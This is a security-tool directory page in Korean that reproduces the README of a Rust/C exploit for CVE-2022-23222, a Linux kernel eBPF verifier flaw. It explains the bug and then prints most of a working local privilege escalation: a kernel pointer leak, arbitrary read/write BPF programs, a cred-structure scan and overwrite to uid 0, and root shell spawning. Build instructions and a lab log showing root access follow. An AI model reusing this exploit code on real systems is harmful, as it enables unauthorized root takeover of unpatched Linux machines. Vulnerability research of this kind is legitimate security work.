Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-23222 — CVE-2022-23222, Rust로 관리됩니다. | Kitploit
도구/GitHubGitHub/fridayortiz/cve-2022-23222
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubfridayortiz/cve-2022-23222

CVE-2022-23222

CVE-2022-23222, Rust로 관리됩니다.

저장소 보기
1264년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-23222

그냥 빌드하고 실행하고 싶다면 여기를 클릭하세요. 다음 내용은 대략 중국어 라이트업의 번역이며, 여기에서 확인할 수 있습니다.

참조로 버전 5.13.0의 메인라인 커널 코드를 사용할 것입니다. 사용 가능한 포인터 유형과 그 경계를 확인하는 함수 사이에 불일치가 있습니다. 이 불일치는 Linux 5.8에서 처음 도입되었으며 이후 패치되었습니다. 사용 가능한 포인터 유형 목록은 여기에서 확인할 수 있습니다.```c /* types of values stored in eBPF registers / / Pointer types represent:

  • pointer
  • pointer + imm
  • pointer + (u16) var
  • pointer + (u16) var + imm
  • if (range > 0) then [ptr, ptr + range - off) is safe to access
  • if (id > 0) means that some 'var' was added
  • if (off > 0) means that 'imm' was added / enum bpf_reg_type { NOT_INIT = 0, / nothing was written into register / SCALAR_VALUE, / reg doesn't contain a valid pointer / PTR_TO_CTX, / reg points to bpf_context / CONST_PTR_TO_MAP, / reg points to struct bpf_map / PTR_TO_MAP_VALUE, / reg points to map element value / PTR_TO_MAP_VALUE_OR_NULL,/ points to map elem value or NULL / PTR_TO_STACK, / reg == frame_pointer + offset / PTR_TO_PACKET_META, / skb->data - meta_len / PTR_TO_PACKET, / reg points to skb->data / PTR_TO_PACKET_END, / skb->data + headlen / PTR_TO_FLOW_KEYS, / reg points to bpf_flow_keys / PTR_TO_SOCKET, / reg points to struct bpf_sock / PTR_TO_SOCKET_OR_NULL, / reg points to struct bpf_sock or NULL / PTR_TO_SOCK_COMMON, / reg points to sock_common / PTR_TO_SOCK_COMMON_OR_NULL, / reg points to sock_common or NULL / PTR_TO_TCP_SOCK, / reg points to struct tcp_sock / PTR_TO_TCP_SOCK_OR_NULL, / reg points to struct tcp_sock or NULL / PTR_TO_TP_BUFFER, / reg points to a writable raw tp's buffer / PTR_TO_XDP_SOCK, / reg points to struct xdp_sock / // ... omitted ... PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, / reg points to valid memory region / PTR_TO_MEM_OR_NULL, / reg points to valid memory region or NULL / PTR_TO_RDONLY_BUF, / reg points to a readonly buffer / PTR_TO_RDONLY_BUF_OR_NULL, / reg points to a readonly buffer or NULL / PTR_TO_RDWR_BUF, / reg points to a read/write buffer / PTR_TO_RDWR_BUF_OR_NULL, / reg points to a read/write buffer or NULL / PTR_TO_PERCPU_BTF_ID, / reg points to a percpu kernel variable / PTR_TO_FUNC, / reg points to a bpf program function / PTR_TO_MAP_KEY, / reg points to a map element key */ __BPF_REG_TYPE_MAX, };
root@kitploit:~
보시다시피, 포인터가 null일 수 있을 때 사용되는 여러 `_OR_NULL` 포인터 타입이 있습니다. 검증기는 일반적으로 이 시점에서 null 검사를 수행하거나 일부 함수의 인수로만 허용합니다. 다음 함수는 [여기](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720)에서 확인할 수 있으며, 포인터 경계를 추적하고 확인하는 역할을 합니다.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
 * Caller should also handle BPF_MOV case separately.
 * If we return -EACCES, caller may want to try again treating pointer as a
 * scalar.  So we only emit a diagnostic if !env->allow_ptr_leaks.
 */
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
				   struct bpf_insn *insn,
				   const struct bpf_reg_state *ptr_reg,
				   const struct bpf_reg_state *off_reg)
{
    // ... omitted ...

	switch (ptr_reg->type) {
	case PTR_TO_MAP_VALUE_OR_NULL:
		verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	case CONST_PTR_TO_MAP:
		/* smin_val represents the known value */
		if (known && smin_val == 0 && opcode == BPF_ADD)
			break;
		fallthrough;
	case PTR_TO_PACKET_END:
	case PTR_TO_SOCKET:
	case PTR_TO_SOCKET_OR_NULL:
	case PTR_TO_SOCK_COMMON:
	case PTR_TO_SOCK_COMMON_OR_NULL:
	case PTR_TO_TCP_SOCK:
	case PTR_TO_TCP_SOCK_OR_NULL:
	case PTR_TO_XDP_SOCK:
		verbose(env, "R%d pointer arithmetic on %s prohibited\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	default:
		break;
	}
    
    // ... omitted ...
    
	return 0;
}

불행히도, 이 목록에는 일부 타입이 누락되어 있습니다. 구체적으로 말하자면, PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL, PTR_TO_RDWR_BUF, 그리고 PTR_TO_RDWR_BUF_OR_NULL입니다. RINGBUF 맵 타입을 사용하면 PTR_TO_MEM_OR_NULL을 생성할 수 있으며, 이는 산술 연산을 수행해서는 안 되는 상황에서도 수행할 수 있게 해줍니다.

익스플로잇 분석

먼저, 두 개의 맵을 생성합니다. ARRAY 맵은 사용자 공간과 BPF 프로그램 간의 정보 전달에 사용됩니다. RINGBUF 맵은 레지스터에 익스플로잇 가능한 포인터 타입을 부여하는 데 사용됩니다.```c int create_bpf_maps(context_t *ctx) { int ret = 0;

root@kitploit:~
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
    WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
    WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->ringbuf_fd = ret;

return 0;

}

root@kitploit:~
이제, 특별히 제작된 BPF 프로그램을 로드하고 실행합니다. 이 프로그램은 먼저,
`ARRAY` 맵 주소의 커널 공간 주소를 BPF 스택에 저장한 다음,
그리고 이전의 포인터 간과를 이용하여 해당 주소의 마지막 바이트를 무효화
합니다. 검증기는 우리가 배열의 시작 부분에서 읽고 있다고 생각하겠지만,
실제로는 몇 바이트 낮은 위치를 읽고 있어 이로 인해 (바라건대) 커널 주소를
제공합니다.```c
int do_leak(context_t *ctx)
{
    int ret = -1;
    struct bpf_insn insn[] = {
        // r9 = r1
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

        // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        // if (r0 == NULL) exit(1)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 1),
        BPF_EXIT_INSN(),

        // r8 = r0
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

        // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
        BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
        BPF_MOV64_IMM(BPF_REG_3, 0x00),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

        // this is where the verifier loses track of r1
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

        // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_2, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
        BPF_MOV64_IMM(BPF_REG_0, 2),
        BPF_EXIT_INSN(),

        // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

        // r7 = r1 + 8
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),

        // verifier believe r7 = 8, but r7 = 9 actually.

        // store the array pointer (0xFFFF..........10 + 0xE0)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),

        // partial overwrite array pointer on stack

        // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
        BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
        BPF_MOV64_IMM(BPF_REG_5, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

        // r6 = 0xFFFF..........00 (off = 0xE0)
        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),

        
        // map_update_elem(ctx->comm_fd, 0, r6, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
        BPF_MOV64_IMM(BPF_REG_4, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };

    int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
    if (prog < 0) {
        WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
        goto abort;
    }

    int err = bpf_prog_skb_run(prog, ctx->bytes, 8);

    if (err != 0) {
        WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
        goto abort;
    }

    int key = 0;
    err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
    if (err != 0) {
        WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
        goto abort;
    }
    
    u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
    if ((array_map&0xFFFFF00000000000) < 0xFFFF800000000000){
        WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
        goto abort;
    }

    ctx->array_map = (kaddr_t)array_map;
    DEBUGF("array_map @ %p", ctx->array_map);

    ret = 0;

abort:
    if (prog > 0) close(prog);
    return ret;
}

이제 우리는 이전과 동일한 트릭을 활용하는 두 개의 BPF 프로그램을 설정합니다. 검증기가 우리가 접근이 허용된 무언가(이 경우 이전과 동일한 comm_fd 맵)에 대한 포인터를 가지고 있다고 생각하도록 속이지만, 실제로는 우리가 선택한 임의의 포인터입니다. 그런 다음 해당 임의의 주소에서 읽거나 쓸 수 있습니다.```c int prepare_arbitrary_rw(context_t *ctx) { int arbitrary_read_prog = 0; int arbitrary_write_prog = 0;

root@kitploit:~
struct bpf_insn arbitrary_read[] = {
    // r9 = r1
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

    // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

    // if (r0 == NULL) exit(1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 1),
    BPF_EXIT_INSN(),

    // r8 = r0
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

    // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
    BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
    BPF_MOV64_IMM(BPF_REG_3, 0x00),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

    // this is where the verifier loses track of r1
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_MOV64_IMM(BPF_REG_2, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
    BPF_MOV64_IMM(BPF_REG_0, 2),
    BPF_EXIT_INSN(),

    // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

    // r7 = (r1 + 1) * 8
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

    // verifier believe r7 = 8, but r7 = 16 actually.

    // store the array pointer
    BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

    // overwrite array pointer on stack

    // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
    BPF_MOV64_IMM(BPF_REG_5, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

    // fetch our arbitrary address pointer
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
    
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_6, 0),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_0, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
};

arbitrary_read_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_read, sizeof(arbitrary_read) / sizeof(arbitrary_read[0]), "");
if (arbitrary_read_prog < 0) {
    WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
    goto abort;
}

struct bpf_insn arbitrary_write[] = {
    // r9 = r1
    BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

    // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

    // if (r0 == NULL) exit(1)
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_MOV64_IMM(BPF_REG_0, 1),
    BPF_EXIT_INSN(),

    // r8 = r0
    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

    // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
    BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
    BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
    BPF_MOV64_IMM(BPF_REG_3, 0x00),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

    // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_MOV64_IMM(BPF_REG_2, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
    BPF_MOV64_IMM(BPF_REG_0, 2),
    BPF_EXIT_INSN(),

    // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

    // r7 = (r1 + 1) * 8
    BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
    BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),

    // verifier believe r7 = 8, but r7 = 16 actually.

    // store the array pointer
    BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),

    // overwrite array pointer on stack

    // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
    BPF_MOV64_IMM(BPF_REG_2, 0),
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
    BPF_MOV64_IMM(BPF_REG_5, 1),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

    // fetch our arbitrary address pointer
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
    
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_8, 8),

    // if (r0 == 0) { *(u64*)r6 = r1 }
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, 0),
    BPF_JMP_IMM(BPF_JA, 0, 0, 1),
    // else { *(u32*)r6 = r1 }
    BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_1, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
};

arbitrary_write_prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, arbitrary_write, sizeof(arbitrary_write) / sizeof(arbitrary_read[0]), "");
if (arbitrary_write_prog < 0) {
    WARNF("Could not load program(arbitrary_write):\n %s", bpf_log_buf);
    goto abort;
}

ctx->arbitrary_read_prog = arbitrary_read_prog;
ctx->arbitrary_write_prog = arbitrary_write_prog;
return 0;

abort: if (arbitrary_read_prog > 0) close(arbitrary_read_prog); if (arbitrary_write_prog > 0) close(arbitrary_write_prog); return -1; }

root@kitploit:~
이제 권한 상승을 시작할 수 있습니다. 먼저, 알려진 이름을 가진 프로세스들을 대량으로 생성하고, 이름을 `__ID__`(이 경우 `"SCSLSCSL"`)로 설정합니다. 그런 다음 각 프로세스가 셸 실행을 시도하기 직전에 스스로 중지하도록 합니다.```c
int spawn_processes(context_t *ctx)
{
    for (int i = 0; i < PROC_NUM; i++)
    {
        pid_t child = fork();
        if (child == 0) {
            if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
                WARNF("Could not set name");
            }
            uid_t old = getuid();
            kill(getpid(), SIGSTOP);
            uid_t uid = getuid();
            if (uid == 0 && old != uid) {
                OKF("Enjoy root!");
                system("/bin/sh");
            }
            exit(uid);
        }
        if (child < 0) {
            return child;
        }
        ctx->processes[i] = child;
    }

    return 0;
}

이 프로세스들이 다음에 재개될 때, 그 중 하나가 루트 권한을 가지기를 기대합니다. 익스플로잇은 임의 읽기 및 쓰기 도우미 함수들을 설정하지만, 이를 이해할 필요는 없습니다. 위에서 빌드한 프로그램을 호출하여 임의의 커널 주소를 읽고 쓸 수 있게 해줍니다. 이제 메모리를 스캔하여 우리 프로세스 중 하나의 task_struct 를 찾고, comm에 설정한 이름을 찾을 때까지 진행합니다. 그런 다음 0x10 (16) 바이트 아래로 이동하여 cred에 대한 포인터를 찾습니다 (인접한 두 위치를 시도합니다).```c int find_cred(context_t ctx) { for (int i = 0; i < PAGE_SIZEPAGE_SIZE ; i++) { u64 val = 0; kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8; if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) { WARNF("Could not read kernel address %p", addr); return -1; }

root@kitploit:~
    // DEBUGF("addr %p = 0x%016x", addr, val);

    if (memcmp(&val, __ID__, sizeof(val)) == 0) {
        kaddr_t cred_from_task = addr - 0x10;
        
        if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {
            WARNF("Could not read kernel address %p + 8", cred_from_task);
            return -1;
        }

        if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {
            WARNF("Could not read kernel address %p + 0", cred_from_task);
            return -1;
        }

        if (val != 0) {
            ctx->cred = (kaddr_t)val;
            DEBUGF("task struct ~ %p", cred_from_task);
            DEBUGF("cred @ %p", ctx->cred);
            return 0;
        }
        

    }
}

return -1;

}

root@kitploit:~
이제 우리는 프로세스 중 하나의 [`cred`](https://elixir.bootlin.com/linux/v5.13/source/include/linux/cred.h#L110) 구조체의 주소를 알게 되었으므로, 자격 증명을 덮어씀으로써 권한을 상승시킬 수 있습니다. `uid`, `gid`, `euid`, `egid`를 0으로 설정합니다.```c
int overwrite_cred(context_t *ctx)
{
    if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }
    if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
        return -1;
    }

    return 0;
}

이제 이전 프로세스들을 재개하여 "루트 셸을 생성"합니다. 새로운 루트 자격 증명을 가진 프로세스는 system("/bin/sh")를 사용하여 셸을 생성하고, 나머지 프로세스들은 종료됩니다.```c int spawn_root_shell(context_t *ctx) { for (int i = 0; i < PROC_NUM; i++) { kill(ctx->processes[i], SIGCONT); } while(wait(NULL) > 0);

root@kitploit:~
return 0;

}

root@kitploit:~
사용자가 루트 셸을 종료하면, 남아 있는 모든 파일 디스크립터를 닫고 정상적으로 종료합니다.```c
int clean_up(context_t *ctx)
{
    close(ctx->comm_fd);
    close(ctx->arbitrary_read_prog);
    close(ctx->arbitrary_write_prog);
    kill(0, SIGCONT);
    return 0;
}

빌드

프로젝트 루트 디렉토리에서 docker가 설치되고 사용자에게 권한이 부여된 상태에서 다음 명령을 실행하세요:``` $ ./build.sh

root@kitploit:~
이것은 Ubuntu 20.04를 사용하여 익스플로잇 애플리케이션을 빌드하며, 이는 취약한 대상 Ubuntu 시스템(들)에서 즉시 실행됩니다.```
❯ ./build.sh
Sending build context to Docker daemon   42.6MB
Step 1/6 : FROM ubuntu:20.04
 ---> 20fffa419e3a
Step 2/6 : ARG DEBIAN_FRONTEND=noninteractive
 ---> Using cache
 ---> 21a8156714bb
Step 3/6 : RUN apt-get update &&     apt-get upgrade -y &&     apt-get update &&     apt-get install build-essential curl -y
 ---> Using cache
 ---> 54b21b81a3ba
Step 4/6 : RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
 ---> Using cache
 ---> bb02d929e275
Step 5/6 : ENV PATH="/root/.cargo/bin:${PATH}"
 ---> Using cache
 ---> 3475521f417d
Step 6/6 : WORKDIR /data
 ---> Using cache
 ---> 981ef909c81a
Successfully built 981ef909c81a
Successfully tagged cve_2022_23222:latest

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
/data /data
    Updating crates.io index
 Downloading crates ...
  Downloaded cfg-if v1.0.0
  Downloaded cc v1.0.73
  Downloaded libc v0.2.126
  Downloaded memoffset v0.6.5
  Downloaded bitflags v1.3.2
  Downloaded autocfg v1.1.0
  Downloaded nix v0.24.1
   Compiling cve_2022_23222 v0.1.0 (/data)
    Finished release [optimized] target(s) in 34.45s

Testing (Vagrant Lab)

Vagrant가 설치되어 있으면, 다음 명령어를 실행하기만 하면 됩니다. 기본적으로 Vagrant 설정은 rsync를 사용하여 이 폴더를 /exploit에 복사합니다. 원한다면 Vagrantfile을 수정하여 로컬 환경에 맞출 수 있습니다.``` ❯ cd lab ❯ vagrant up && vagrant ssh Bringing machine 'default' up with 'libvirt' provider...

... omitted for space ...

==> default: Running provisioner: shell... default: Running: inline script default: kernel.unprivileged_bpf_disabled = 0 vagrant@ubuntu2110:~$ /exploit/target/release/cve_2022_23222 [D] DEBUG: array_map @ 0xffff8aecb303c000 [D] DEBUG: task struct ~ 0xffff8aecb3408ae8 [D] DEBUG: cred @ 0xffff8aec8c0b36c0 [+] Enjoy root!

id

uid=0(root) gid=0(root) groups=0(root),1000(vagrant)

exit

vagrant@ubuntu2110:~$ logout

root@kitploit:~
## References

 - [https://github.com/tr3ee/CVE-2022-23222](https://github.com/tr3ee/CVE-2022-23222)
 - [https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt](https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt)
 - [https://www.openwall.com/lists/oss-security/2022/01/18/2](https://www.openwall.com/lists/oss-security/2022/01/18/2)

## License

제 모든 코드는 MIT 라이선스로 배포됩니다. 원저작자는 라이선스 파일을 포함하지 않았지만, "교육 및 연구 목적으로만" 사용하라고 명시했습니다. 이 코드를 만든 것은 교육적이기도 하고 연구를 위한 것이기도 했으므로, 이 조건을 충족한다고 생각합니다. `src/exploit/` 디렉토리 아래의 코드는 동일한 "교육 및 연구 목적으로만" 라이선스가 적용되는 것으로 간주하십시오. 그게 무슨 뜻이든 간에.
도구 다운로드